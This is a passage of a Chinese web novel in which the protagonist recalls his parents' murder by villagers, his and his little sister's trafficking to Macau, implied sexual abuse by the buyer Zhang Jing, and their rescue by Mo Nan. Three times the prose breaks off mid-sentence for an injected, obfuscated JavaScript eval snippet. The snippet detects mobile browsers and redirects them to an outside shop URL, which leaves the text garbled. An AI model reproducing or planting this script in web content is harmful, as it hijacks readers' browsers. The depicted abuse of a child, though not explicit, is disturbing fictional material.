酒瓶倾斜,液体流淌。最后一滴落尽,他收回手,将空了的酒瓶搁在脚边。 齐无尽垂下眸:“不够烈的话,下次再给你带别的。” 他又抬起头,看了看雾蒙蒙的天:“不过,应该没有下次了。” 远处海潮声隐隐传来,一层叠着一层。他上次来看莫楠,还是在进永冬之城的前一天。他不知道会在那里待多久,一天,一年,或许一辈子。总要在进去前来看看她的。 他也没想到,自己会在副本里再次跪在这块墓碑前。 莫楠要是真知道了他带着个姑娘去闯张景的金库,指定跳起来给他几拳,骂他臭小子,齐无尽也乐意。可现在,莫楠不会再跳起来笑着骂他了,他也见不到她了。 莫楠喜欢捡孩子,一开始齐无尽并不知道她就是这个性子。刚见到莫楠那会儿,他以为莫楠和张景是一类人。他们是刚出狼窝,又入虎穴。他警惕地盯着这个陌生人,把妹妹严严实实护在身后。 莫楠歪着头,怪怪地看着他,抬手摸了摸自己的脸:“老娘长得很凶?没啊,还是这么美。” ……然后她真的对着镜 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红发意味着诅咒,意味着旱灾与疾病,意味着他们全家都是不该存在的怪胎。可能有些人并不是真心这么觉得,只是因为别人说了,他们也就跟着说,还能显出自己“正常”。但在齐无尽十岁的时候,老天好像终于应和了他们的话。 雨少了,田里出现裂缝。一年,一年,又一年。河床见了底,井水浑得发苦。 焦躁在日头下发酵,成了毒。所有怨毒的目光顺理成章地钉在了他们这户红头发人家身上。 村民们本着暂时不惹事的念头,等了四年,干旱也持续了四年。终于,在一个黄昏,他们等不住了。 直到后来齐无尽去了澳门,睡梦中也总能梦到当年在云南那个小乡村的黄昏,然后被惊醒。 那天,他们家已经没了柴,父母将齐无尽和齐无恙支到山上砍柴。黄昏时分,等他们背着一捆柴火从后山下来时,他看见村子上方升起了浓烟。 起初齐无尽以为是哪家在烧秸秆。走到半山腰时,他看清了。浓烟是从他家房子冒出来的。 那火红得骇人,比他家任何一个人的头发都要红,张牙舞爪,黑烟滚滚,把半个天都捂住了。 齐无恙哇的一声就害怕地哭出来,齐无尽浑身发抖,牵起妹妹就往山下冲,心在胸腔里撞得生疼。快跑到村口时,他猛地停下,捂着无恙的嘴,拖着她躲进路边。 家的方向,人影幢幢,冲天的火光映着一张张兴奋的脸,疯狂地喊着: “就是他们带来的!” “烧死他们,天就会下雨!” 他们住了十几年的土柸房已经完全被火舌吞没,窗框和门框塌陷下去。 齐无尽死死捂住齐无恙的嘴,妹妹在他怀里不断地发抖,滚烫的眼泪淌进他的手心。他将妹妹死死抱住,抬头看向家的方向。 他看见父亲挣扎着顶开燃烧的门板冲出来,头发和衣服都烧着了,像个火人。母亲的哭声只持续了很短一会儿,就被什么东西重重砸中,声音戛然而止。父亲伸出的手很快垂下去,被翻卷的火焰重新拖回屋内。 “齐老二和他婆娘肯定死了!”有人哑着嗓子喊,“快!去找那两个小的!他们不能留,留一个都是祸害!” “对!斩草除根!分头找!” 齐无尽浑身冰冷,他咬着牙,把喉咙里的呜咽硬生生憋了回去,口腔里泛起铁锈味。他放柔声音,安抚着齐无恙:“无恙……别怕,哥哥在。不要出声,千万不能出声……哥哥带你走,我们去一个安全的地方……不怕,哥哥在,哥哥在……” 他最后看了一眼那烧焦的家,带着妹妹退回了山林里。 313.昨日港 他们在山林里躲了两天,靠野果和溪水活命。 齐无尽也在两天内接受了父母双双去世的事实。没有时间悲伤,无恙才七岁,必须要活下来。他必须要保护好她。 于是,趁着第三天村民都在另一边山上搜寻,他带着妹妹沿着山路走到了镇上,想找警局报案。 镇上很热闹,路人对他们一头罕见的红发投来好奇的目光。齐无尽紧紧牵着妹妹的手,抬起头去寻找警局的方向。 刚好,路边就站着一个穿着警服的警察,他正眯着眼四下打量,像是在找什么人。齐无尽像抓住救命稻草,牵着齐无恙快步走过去:“叔叔。” 警察听到声音,一低头,看见两个小孩:“怎么了?” 齐无尽闭了闭眼,努力把话说清楚:“叔叔,我们的家着火了,我爸妈……可能没了。村里人要来抓我们,说我们是祸害。我们躲了两天,跑出来的。我妹妹还小,已经没有其他亲人了,求您帮帮我我们……” 他话没说完,警察脸上就露出心疼的表情,他蹲下身,拍了拍齐无尽的肩膀,又看了看齐无恙:“可怜的孩子,别怕。来,叔叔带你们去警局,马上派人去你村子里抓凶手。” 他说着站起身,朝齐无尽招了招手:“跟我来。” 警察没带他们往大路走,反而拐进一条小巷子。越走越深,周围越来越安静。齐无尽渐渐不安起来,左右看着周围,但没人能帮他们。 走到巷子中段,警察突然停下脚步,转过身,笑着看着他们。 齐无尽心里一咯噔,浑身汗毛倒竖,猛地意识到不对! 他下意识把齐无尽往外狠狠一推开:“跑!无恙!跑!” 但已经晚了,阴影里唰地蹿出两个男人!一只大手从后面抱住了他的腰,力道大得他几乎喘不过气。齐无恙还没跑出两步,就被另一个人贩子轻易抓住,像拎小鸡一样提了起来。她吓得哇哇大哭,拼命挣扎:“哥哥!哥哥!” 齐无尽发了疯似的踢打,挣扎,用指甲去抓身后那人。可一个孩子的力气在成年男人面前太微不足道了,一块气味刺鼻的湿巾猛地压上来,捂住了他的口鼻。 他眼前发黑,最后只听见齐无恙撕心裂肺的哭喊,意识就这么沉入无边黑暗。 再醒来时,是在一辆颠簸行驶的大货车车厢里。 周围堆着散发霉味的麻袋,空气浑浊,齐无恙躺在他旁边。他的手脚被麻绳捆着,嘴也被胶布封得严严实实。车厢里还有另外三个孩子,一个男孩两个女孩,都昏睡着。 齐无尽看着一动不动的妹妹,心脏几乎停跳。他慌忙伸手想去探她的鼻息,可手被绑着动不了。 他俯下身,将额头轻轻贴到妹妹的胳膊上。皮肤还是温热的,只是晕过去了。他紧绷的身体软了下来,虚脱地喘了口气。 过了大约半小时,车厢里其他孩子陆续醒过来,看着陌生的环境,开始惊恐地呜咽哭泣。 齐无恙也睁开了眼睛,先是茫然,然后被眼前的景象吓得浑身一抖,慌张地转头去找哥哥。齐无尽说不了话,只能用眼神安慰她,将她挡在车厢最里面的角落里。 卡车颠簸了很久,中途醒过一次,车厢门被拉开,有人走进来,用手电筒往里照了一圈。 光线刺眼,齐无尽眯起眼,看见一个男人走到自己面前,用鞋尖踢了踢他,又将手电光照向他身后的齐无恙。 “这两个红毛倒是少见,那警察干得不错,就是太瘦了,看不出样子,能卖上价吗?” “物以稀为贵。”另一个声音在外面响起,“肯定有人好这口。” 门又关上了。 一路周周转转,期间换过船,也换过车。也不断有新的孩子被扔上来,挤在一起。 不知过了多久,等眼罩终于被摘掉时,他们已经在一间地下室里。这里墙壁刷着惨白的灰,地上铺着脏兮兮的毯子。除了他们,还有七八个孩子,车上那几个也都在,最大的看着也不过十五六岁,最小的甚至只有五六岁。 他们嘴上的胶布都被撕了下来,手脚也松了绑。醒来的孩子们互相看了看,开始试探着小声交流。 一个脸上有雀斑的姑娘怯生生地问:“这、这是哪里啊?” 旁边一个男生压低声音:“应该是澳门……我之前迷迷糊糊听见他们说,要把我们这批运到澳门来,拿得钱多。” 几个孩子又讨论了一会儿,另一个扎着马尾的女生看着地下室那扇铁门,小声提议:“我们现在可以自由活动,为什么不试一试把锁撬开?旁边就有石头……” “别想了。”齐无尽忽然开口,“他们能把我们松绑,就能确保我们一定逃不出去。外面肯定有人看守。就算我们逃出去了,人生地不熟,身上一分钱没有,又能怎么活下来?” 他刚说完,地下室的门就被人从外面粗暴地推开了。 一个穿着花衬衫,叼着烟的男人走进来,手里拿着个本子,朝着几人喊:“挨个站好!不要乱动!” 孩子们吓得缩成一团,拼命往角落里挤。齐无恙害怕地抓住齐无尽的衣角,声音发颤:“哥哥……” “没事,哥哥保护你。”齐无尽低声安抚道,挪了下脚步,尽可能把妹妹挡在后面。 男人一个个看过去粗鲁地捏起孩子的脸打量,又掀开他们的袖子看了看皮肤,在本子上记着什么。走到齐无尽面前,他停下,伸出手挑起齐无尽额前一缕头发,在指尖搓了搓。 “红色?”他眯起眼,“天然的吗?” 齐无尽没回答,冷冷地看着他。 男人眉头一皱,毫无征兆地抬起脚,狠狠踹在齐无尽肚子上! “什么表情?问你话呢!” 齐无尽当时的身体哪受得了这一脚?他闷哼一声,身体蜷缩下去,疼得额头冒出冷汗。齐无恙在后面吓得哆嗦,还是冲上前扶住哥哥,恶狠狠地瞪着男人:“你不许打我哥哥!” 男人嗤笑一声,抬手,一巴掌就要朝着齐无恙扇过去! 齐无尽猛地侧身,挡在妹妹面前。啪一声,那一巴掌结结实实扇在他脸上,嘴角立刻渗出血丝。 他抬起头,盯着男人,一字一句道:“是天生的。” 男人冷哼一声,在本子上打了个勾。 他们在那个地下室待了几天,每天有人送两顿饭,都是简单的米饭和青菜。期间每个孩子都被带到一个房间做了很多检查,接着又被送回来。也有孩子被带出去,就再也没回来过。 第五天,那个花衬衫男人又来了。 他站在门口,居高临下地看着缩在角落的齐无尽和齐无恙,用下巴点了点:“你们俩,跟我来。” 齐无尽牵起齐无恙的手,轻轻捏了捏,示意她别怕,然后跟着男人走了出去。他们被带上另一辆车,这次车窗没有封死,也没给他们绑住手脚。齐无尽看向车窗外。 澳门的街道和他记忆里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237692|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何地方都不同,招牌上的字是繁体,霓虹灯在傍晚的天色里已经闪烁起来。这里是市中心,行人衣着光鲜,谈笑风生,到处都飘着金钱的味道,是他和齐无恙从来没见过的世界。 车停在一栋巨大的建筑后面,齐无尽抬头向上看,楼大概有三十多层,外面立着装饰繁华的线条和玻璃幕墙,流光溢彩,就像童话故事里的皇宫城堡。最顶端,四个巨大的霓虹字亮得刺眼—— 铂金皇宫。 身后的花衬衫不耐烦地推了他们一下:“看什么看!快点走!” 他们被从一条暗道带进了大楼内部,电梯一路向上,停在最顶层。 门开了,眼前是一条长长的走廊,铺着柔软的红色地毯,走廊里都开着暖气。两侧是一扇扇房门,门牌上刻的不是房间号而是人名。走廊尽头,是一个看起来空旷的大厅,但双开门关着,不知道里面的场景。 男人没有立刻把他们带进大厅,而是叫来一个女侍应生,将齐无恙交给了她:“喏,新的货。” 齐无恙惊恐地回头看向哥哥。 齐无尽立刻挣扎起来,盯着女侍应生带走齐无恙的背影,对着男人破口大骂:“你他妈要把我妹妹带去哪里?!放开她!有什么事冲我来!” 男人不耐烦地“啧”了一声,一把拽住他胳膊,硬生生往另一头房间拖:“急个屁啊!带你们去洗澡的!这么多天没洗,脏死了!谁能要?” 齐无尽愣了一下,挣扎的力道松了点,被他带进房间。 男人将他衣服三下五除二脱下,粗暴地按进早就放好热水的浴缸里。齐无尽被呛得咳嗽了几声,眼睛被水汽和热气熏得通红,抬头死死盯着男人。 男人站在浴缸边和他对视,咧嘴笑了笑:“你还真关心你妹妹……软肋吗?这也是好事。” “你们到底想干什么?”齐无尽哑声道,“拐我们来,到底是要做什么?” 男人没搭理他的问话,挤了一大坨洗发水,随意地抹在齐无尽红发上:“一会儿带你们去见个大老板。你乖一点,别哭,别闹,别这么瞪他,好好讨好他。你和你妹妹以后就有好日子过了,懂吗?” 他说着,舀起一瓢热水直接往齐无尽脸上泼去,搓洗他脸上的脏污。 “要是你惹大老板不高兴,那你们俩……哼,可就有得受了。”男人手上力道加重,捏得齐无尽脸颊生疼,“他的手段澳门人都清楚,没人敢在他面前放肆。” 脏污被洗掉,热水冲过,露出一张因为热气而泛红,但异常清秀白皙的面容。五官精致,皮肤细嫩,只是因为营养不良而消瘦。 男人“咦”了一声,停下动作,捏住齐无尽的下巴,左右转了转。 “长这么好看?”他有点惊讶,“之前还真没看出来。就是年纪大了点,你这下能值……八百万?你妹妹年纪小,应该值一千万了。” 当时的齐无尽还不能理解,为什么这个男人会看中年纪。他只本能地感到一阵恶寒。 等他洗完澡,侍应生送来一套干净的短袖短裤。男人又给他粗暴地套上,推出浴室时,齐无恙也被另一个女侍应生领着,等在走廊上。 小姑娘洗干净了,也换上了短袖短裤,眼睛还因为哭泣而红肿。齐无尽快步走过去,仔细看了看她的胳膊和脖子,确认没有伤口,这才真正放下心来。 花衬衫男人走过来,打量了他们一番,满意地点了点头:“行了,走吧。张总等着呢。” 314.昨日港 两人跟着花衬衫朝着走廊尽头的双开门走去,花衬衫男人敲了敲门,过了几秒,里面传来一道平稳的男声:“进。” 双开门被推开,一股昂贵香水的味道扑面而来。齐无尽被推了一把,踉跄着走进大厅,手下意识往后护,护住紧跟在他身后的齐无恙。 大厅十分奢华,天花板悬挂着水晶吊灯,脚下是深红色的厚地毯,墙壁贴着花纹壁纸,挂着几幅西洋油画。落地窗被天鹅绒窗帘遮住一半,另一半窗外是澳门璀璨的夜景。 房间正中摆着一张宽大的矮桌,旁边是一组深色真皮沙发。一个男人坐在沙发正中,穿着黑色西装,头发梳得□□,手里端着一杯红酒。 齐无尽扫了他一眼,应该已经四十多岁了,但保养得很好,看人自带居高临下的审视,像在看一件物品。 忽然,膝盖被身后人狠狠踹了一脚! 齐无尽毫无防备,噗通一声跪倒在地。旁边的齐无恙也被粗暴地按着跪下。 花衬衫男人压着齐无尽的肩膀,不让他动弹,抬头恭敬地说:“张先生,新货到了。” 张景——这是齐无尽后来才知道的名字,他放下酒杯,站起身,缓步走过来。视线先落在他们刺眼的红头发上,停留了几秒,然后轻轻笑了一声。 “不错。” 花衬衫男人连忙点头,激动起来:“我们也觉得罕见!天然的,洗过了,确认不是染的!” 张景没回他的话,走到齐无尽面前,伸出手似乎想碰他的脸。 齐无尽猛地偏头躲开,皱着眉盯着他。 身后的花衬衫和几个保镖看到这一幕,大气不敢出,生怕张景会突然一挥手,让人把这孩子扔进海里喂鱼。 张景突然笑了:“有脾气,好。” 他又转向齐无恙,看着她的脸:“这个呢?” 花衬衫立刻答道:“是他妹妹,今年七岁,比哥哥也小七岁。” 张景蹲下身,动作出奇地温柔,揉了揉齐无恙的头发。齐无恙懵懂地看着他,眼神里全是茫然。齐无尽死死盯着张景每一个动作,心脏在胸腔里狂跳,仿佛要撞碎肋骨。 张景仔细看了看齐无恙的脸,点了点头,站起身。 “今晚就这个小的吧。”他淡淡道,“大的脾气犟,先让他住3210,上周刚送来的那姑娘隔壁房间。” 齐无尽脸色瞬间惨白,他看向自己的妹妹。齐无恙还不知道张景话里面的意思,只是不知所措地被花衬衫拉了起来。 “你他妈做梦!” 他蹭地一下子站起来,两个保镖立刻上前,死死按住他。他用力挣扎,咬着牙,对着张景嘶声骂道:“畜生!我妹才七岁!她才七岁!!你放开她!有什么事冲我来!你他妈——” 身后的保镖按不住他,抬手就给了他好几个耳光! 脸颊火辣辣地疼,口腔里漫开血腥味。齐无尽不知哪来的力气,竟然挣脱了钳制,朝着张景就冲过去,抬脚就踹! 张景一把掐住他的脖子,将他整个人拎起来,然后狠狠掼在地上!几个保镖立刻围上来,拳脚对着他落下。 “哥哥!”齐无恙看着蜷缩在地上的哥哥,泪水涌了出来,也疯狂挣扎起来,朝着齐无尽冲过去,手却被花衬衫死死牵住,挣脱不开。 花衬衫俯身,在她耳边低声说:“乖,你哥哥就是一时激动,一会儿就好了。你不要跟他学,别被他影响了。” 齐无尽被按在地上,抬起头瞪着张景:“我他妈杀了你!” 张景笑着看着他,像是来了兴趣,上前一步蹲下,抓住齐无尽的头发,迫使他把头仰得更高,能清楚地看到他脸上愤怒的表情。 “你们来,就是为了干这些的。”他轻声说,“不然,我花那么贵的价钱,买你们干什么?” 他松开手,站起身:“铂金皇宫是我的地盘,只要你们活在这个世上,就不可能离开这个,你们必须听我的,明白吗?” 齐无尽侧过头,看向不远处被花衬衫牵着的妹妹。他闭了闭眼,再睁开,看向张景,忽然放轻声音:“张先生……我有话要跟您说。” 张景挑了挑眉,似乎并不意外。 “让我妹先离开这里,求您了。”齐无尽哀求道。 张景看了他几秒,然后朝花衬衫挥了挥手。花衬衫会意,牵着齐无恙就往门外走。 “哥哥!”齐无恙意识到要和哥哥翻开,惊慌地挣扎起来,回头看向齐无尽。 “无恙,没事。”齐无尽努力让自己的声音听起来平稳,“哥哥跟张先生说点事,我们不会分开,我晚点会去找你。” 齐无恙被花衬衫硬生生拉住大厅,张景又朝着那几个保镖抬了抬下巴,保镖们松开齐无尽,也退了出去,关上门。 现在,大厅里只剩下张景和齐无尽。张景坐回沙发上,重新端起了那杯酒,好整以暇地看着他。 齐无尽还跪在地上,浑身都痛,后颈被掐过的地方一跳一跳地胀痛,脸颊微微肿着。他垂下眼睫,盯着地毯上的花纹,几秒后,深吸一口气,像是要把胸腔里翻涌的所有屈辱,恐惧和恨意都硬生生压下去。 然后他撑着发软的手臂,艰难地直起上半身,晃了一下,勉强稳住身形。忍着痛跪着向前挪了几步,停在张景脚边。 他低下头,额前的红发垂下来,遮住了眼睛。 “张先生……求您,放过我妹妹。” “她还小,她什么都不懂。她胆子也小,会吓坏的……我只有她这么一个家人了。求您,让她好好的,安全地长大,让她像普通孩子一样。您……您想做什么,都冲我来,我什么都行。” 张景冷漠地看着他抿了一口酒,没有说话。 齐无尽微微抬起头,看向张景深不见底的眼睛。 “我……”他说,“我比她大,我什么都可以学,也学得快。您让我做什么,我就做什么。杀人,放火……我都干。现在,以后,一辈子,都可以。” 他更深地跪下去,将额头抵在地毯上。 “求您了。”他声音颤抖,“我什么都懂……冲我来吧。什么都行,只要……别碰她。” 张景眯着眼,看着跪在自己脚边的少年。齐无尽单薄的肩膀还在微微发抖,他伸出手,放在少年苍白的侧脸上,指尖冰凉,摸过他颧骨的淤青。 齐无尽身体猛地一颤,但强忍着没有一拳砸过去。 “哦?”张景玩味道,“什么都行?” 齐无尽点了点头。 “包括……”张景的手往后滑,停在他的后颈上,“今晚留下来,代替你妹妹?” 齐无尽整个人像被冻住,连颤抖都停止了。血液仿佛凝固,四肢冰冷。 几秒钟后,他再次点了点头。 “……是。” “好啊。”张景笑起来,他收回手,靠在沙发背上,“那就留下吧,你长得也不错。” “记住你今天说的话,阿尽。”他说,“从今往后,你就是我的人了。你妹妹,我会安排她住在这里,会有人照顾她,教她读书,让她安全长大,不会有人碰她。” “抬起头吧。” 齐无尽顺从地抬起头,脸色苍白。他松了口气,跪在原地一动不动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237693|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着,张景站起身。走到他面前,手腕一倾。那杯红酒从齐无尽上方淋了下去。 酒液冰凉,顺着他的发梢、脸颊、脖颈,一路流淌,浸湿了白色短袖,几滴酒液挂在他长长的睫毛上,然后滴落。 他听见张景的声音从头顶传来,温和,甚至带着笑意: “现在,该展示你的诚意了。” 当晚结束后,齐无尽有那么一瞬间失去了理智,他甚至尝试用餐刀杀死张景,当然结果是失败的。 那是他第一次也是唯一一次跟张景动手,张景轻易地制住了他,打落了餐刀。但或许是因为张景心情不错,没有迁怒于齐无恙。否则,他不知道自己会不会愧疚到疯掉。 推开大厅内部浴室的门时,张景已经离开了。 一个保镖等在外面,看到他出来,面无表情地侧身,做了个“请”的手势。 齐无尽低着头,跟着保镖往外走,脚步有些虚浮。经过大厅那扇巨大的落地窗时,他无意间瞥了一眼。 玻璃上映出一个苍白瘦削的人影,红发湿漉漉地贴在额角,几缕发丝还在滴着水。身上换了套新的睡衣,但有些大了,领口松垮,露出脖颈和锁骨处的痕迹。 他仓惶地移开视线,抬手将领口往上拉了拉。 保镖将他带到了3210房间门口,平静地说道:“你的房间就在这里。你不能,也没办法离开顶楼。以后,你只为张先生一个人服务。如果张先生叫你,我们会来通知你。” 齐无尽面无表情地看着他。 保镖忽然露出一个嘲讽的笑:“张先生对你很满意。你妹妹,在你的房间里等你。” 说完,他不再停留,转身离开了。 走廊里只剩下齐无尽一个人,他站在门前,一动不动。过了好一会儿,他抬起头轻轻碰了碰门板,深吸一口气,露出浅浅的笑容,推开门。 “哥哥!” 门刚开了一条缝,一个小身影就扑了上来,紧紧抱住了他的腿。齐无恙仰着脸,眼睛红肿,脸上还有未干的泪痕。 齐无尽连忙蹲下身,将她整个人抱进怀里:“怎么了?怎么哭了?他们有没有对你做什么?” 齐无恙搂着他的脖子,把脸埋在他肩窝里,摇了摇头,哽咽道:“没有,他们给我吃了饭,就让我在这里等你……我好想哥哥,我好担心哥哥……” 接着,她似乎察觉到什么,泪眼朦胧地看着齐无尽身上的衣服:“哥哥,你怎么换衣服了?他们……他们还有没有打你?” “哥哥没事,他们没有再动手了,”齐无尽温柔地揉了揉她的头发:“换衣服是因为原来的衣服脏了,哥哥只是……跟张先生聊了一会儿天而已。” 他顿了顿,将怀里的小人抱得更紧了些。 然后他站起身,将齐无恙抱到房间中央宽大的沙发上,自己在沙发边单膝跪下,看着他。 “无恙,”他认真地说,“以后,我们都要在这里生活了。这里和以前不一样,但是我们会安全的。” “你记住,要少接触这里的人,尤其是男性,和我们差不多大年纪的孩子也不行。如果有人对你做了什么让你不舒服的事,或者说了奇怪的话,一定要立刻告诉哥哥,好不好?” 齐无恙似懂非懂地看着哥哥,她点了点头,然后伸出另一只手的小拇指,坚定地说:“好,哥哥,你要是有什么事,也要告诉无恙。拉钩上吊,一百年不许变。” 齐无尽沉默了半秒,轻轻笑了一下,也伸出小拇指,勾住了她的手指。 “好。”他看着妹妹,一字一句道,“哥哥答应你。” 315.昨日港 齐无恙的房间在3206,齐无尽没和她待多久,保镖就敲开门,面无表情地对齐无恙说:“已经凌晨了,你该回自己房间。明天早饭时间才能再见。” 齐无尽看着妹妹被保镖牵着手带出去,她一步三回头,不舍地小声唤道:“哥哥……” “没事,去睡吧。”齐无尽扶着门框,朝她挥了挥手,“明天早上见。” 直到齐无恙的身影消失在拐角,他才收回视线,关上了门。 房间里只剩下他一个人,他这才环视整个房间的布局。一张大床占据了房间的一大半,旁边是一面全身镜。另一侧是一面墙的落地窗,窗外是深蓝色的澳门夜空。 齐无尽没有开灯,他走到床边,缓缓滑坐到地板上,背靠着床沿。 他就那么安静地坐了一会儿,看着窗外的繁华灯火,看着远处赌场酒店的彩色光束。然后,他慢慢抱住了自己的膝盖,将脸埋了进去,肩膀无法控制地开始颤抖。 窗外的霓虹灯光透过玻璃,在地板和他身上投下变幻的光影,明明灭灭。 他不知道自己的未来该怎么办,更不知道齐无恙的未来该怎么办。 难道要一辈子被困在这里?在恐惧中日复一日地腐烂吗? 齐无恙才那么小。她才七岁,她应该有光明的未来,应该有爱她的家人,应该在阳光下奔跑,上学,交朋友,而不是被关在顶层,父母双亡,只有一个……没用的哥哥。 顶层关了很多和他们年纪相仿的孩子,之前在地下室见过的有雀斑的女孩,和说这里是澳门的男孩也都在,每个房间的门牌上都写着住在房间里的孩子的名字。 每天晚上都有不同的男人乘坐专用电梯来到顶楼,他们衣冠楚楚地进入不同孩子的房间,或将孩子带到大厅,然后再衣冠楚楚地离开。有时候,那些目光会落在齐无尽或齐无恙身上,向张景提出要求。每到这时,张景总是笑着摇头拒绝:“这两个不行,那个小的更不能碰,她哥会跟你们拼命。” 不是没有孩子尝试逃跑,但第二天,他们的尸体就会出现在海里。 张景经常点齐无尽的名字,他很清楚齐无尽的软肋是什么。只要稍稍提一提齐无恙的名字,无论是多么过分的要求,她哥哥都会点头。 齐无尽越来越疲惫,也越来越瘦削,无论顶层为孩子们准备的饭菜多丰盛,他也吃不下。只有在见到齐无恙的时候,才会强打精神露出笑容。 慢慢的,见到张景的时候,他会本能地产生恐惧。他以为自己这辈子都会笼罩在这片阴影下。 直到在铂金皇宫的第三周,莫楠出现了。 那天晚上,齐无尽刚离开大厅。他推开木门,疲惫地抬起头,就看见一个红色短发的女人正站在走廊里,抱着胳膊气势汹汹地骂着烂在她面前的保镖。 “……欠钱不还还有理了?!你们张老板人呢?让他出来!” 保镖死死挡着门:“莫小姐,张先生现在有事在忙,不方便见客。” “忙个屁忙!”女人叉着腰,“我倒要看看他在忙什么见不得人的——” 话说到一半,她一低头,正好看见齐无尽从门里走出来。 少年眼睛通红,面无表情,身上的衣服有些凌乱,脖颈上带着新鲜的伤痕。 莫楠整个人僵了一下,后面的话卡在喉咙里,盯着齐无尽。齐无尽面无表情地和她对视,垂下眼,转过身打算离开。 “等等!”女人忽然伸出手,拦住他。 齐无尽抬头看她,女人没多解释,牵着他的手,直接推开了那扇大厅的门,齐无尽又一次被带到张景的面前。 张景坐在沙发上,看着女人和被她牵着的齐无尽,温和笑道:“莫楠,你怎么又来了?不是说了嘛,钱我肯定会还你的,急什么?” 莫楠的手放在齐无尽的肩膀上,将他往自己这边带了带:“这孩子,我带走了。” 齐无尽和张景同时一愣。 齐无尽难以置信地看向莫楠,张景脸上的笑容淡了些,微微皱眉道:“这哪是说带走就能带走的?他可是我花了八百万买来的,好不容易才训得听话了点,不咬人了,还没玩够呢。你带走了,我怎么办?” 莫楠想了想,一挥手:“你欠我那两千万,不用还了。” 但说完,她自己又皱了皱眉:“不过这样……好像是我亏了啊。” 就在僵持之中,齐无尽忽然轻轻扯了扯莫楠的衣袖。他抬起头:“我……还有个妹妹,才七岁。” 他不知道自己堵得对不对,但落在眼前这个女人手里,总比继续留在张景身边好。无论如何,他都要为妹妹,也为自己,争取一线生机。 于是,在那个看似平常的夜晚,莫楠就这么近乎强硬地从张景手下带走了齐无尽和齐无恙,将他们带离了铂金皇宫,带回了自己的家。 接着,就是齐无尽忘不掉的画面——莫楠对着镜子臭美了半个小时,直到他开口,才想起客厅里有两个大活人。 她清了清嗓子,叫来管家,让他带着齐无恙去看海绵宝宝。接着坐到齐无尽对面,收敛了刚才跳脱的模样,点燃了一根卡比龙。烟雾袅袅升起,她的目光透过烟雾,落在齐无尽身上。 这孩子……以后的路,可不好走了。 她心里也闪过一瞬的犹豫,觉得自己是太冲动了才带回来两个孩子。张景是什么人,她比谁都清楚。现在从他手里抢走了两个孩子,还签了那份契约,她自己以后的路,也不好走。 如果在齐无尽满二十一岁前,她能赢回那份契约,一切都还好说。可如果拿不回来,或者她自己提前出了什么意外。那这两个孩子最终还是会落到张景手里,无论齐无尽到没到二十一岁。 但是,带回来了就是带回来了,她也做不到把这两个孩子重新送回那畜生手里。 于是,她给了齐无尽两个选择,跟妹妹一起去念书,或者跟她去赌场。预料之中,但又让莫楠微微叹息的,齐无尽选择了后者。 就这样,齐无尽跟着莫楠来到了永乐宫。 莫楠将他引荐给九爷时,直接说道:“九爷,我捡了个小子,脑子灵活,手也稳,我想让他在咱们这儿学点东西,将来也能混口饭吃。跟我一样也是红头发,吉利,也能帮咱们旺场子。” 九爷当时正叼着雪茄,靠在宽大的老板椅里,闻言掀起眼皮,打量着站在莫楠身后,警惕地看着自己的少年。 他笑了笑,没在意齐无尽那点几乎写在脸上的“你不是好人”,也没在意他的年纪,挥了挥手:“行啊,阿楠你开口了,就先留着吧。跟着楠姐好好学,等完全出师了,能独立应付私人牌局了,就能上桌,赚钱。” 说实话,齐无尽刚开始对九爷始终抱着戒心。在他看来,能在这种地方当老大,手里管着这么一大摊子生意,还能让张景那种人都给几分面子,怎么可能是善茬? 但在永乐宫待得久了,他慢慢发现,九爷……好像真的就只是特别爱财而已。 他喜欢所有能赚钱的东西,但也讲究“取之有道”,对手下的人,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237694|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不触犯他的核心利益,大多时候也算得上宽厚,顶多罚罚款,骂几句。 而且,九爷似乎……对他还不错? 知道他带着个妹妹要养,每个月发工资总给他多塞一些,会向其他赌客介绍他。齐无尽被张景弄怕了,起初觉得变扭,怀疑九爷是不是另有所图。时间长了,他发现九爷对永乐宫里其他肯吃苦的年轻人都这样。 关于张景这个人呢,他后面好几年都没再见过他。刚被莫楠带回去时,他恨张景恨得要死,听到他的名字都恐惧。莫楠见他状态,干脆直接让他在家休息一两周,再去永乐宫学习。 在莫楠家休息的那段时间,是齐无尽记忆中难得平静的时光,还带着点荒诞的温馨。 当时,莫楠请来了相熟的私人医生,仔细给齐无尽检查身体,处理伤口。当医生撩起他的衣服,露出他身上大片新旧交叠的淤青和指痕时,莫楠当场就炸了,用尽毕生所知的脏话把张景极其祖宗十八代问候了个遍。 “张景那个王八蛋!畜生!傻逼!挨千刀的王八羔子!他怎么能——” “等等等一下!”医生连忙捂住她的嘴,“莫楠,在孩子面前,注意言辞……” 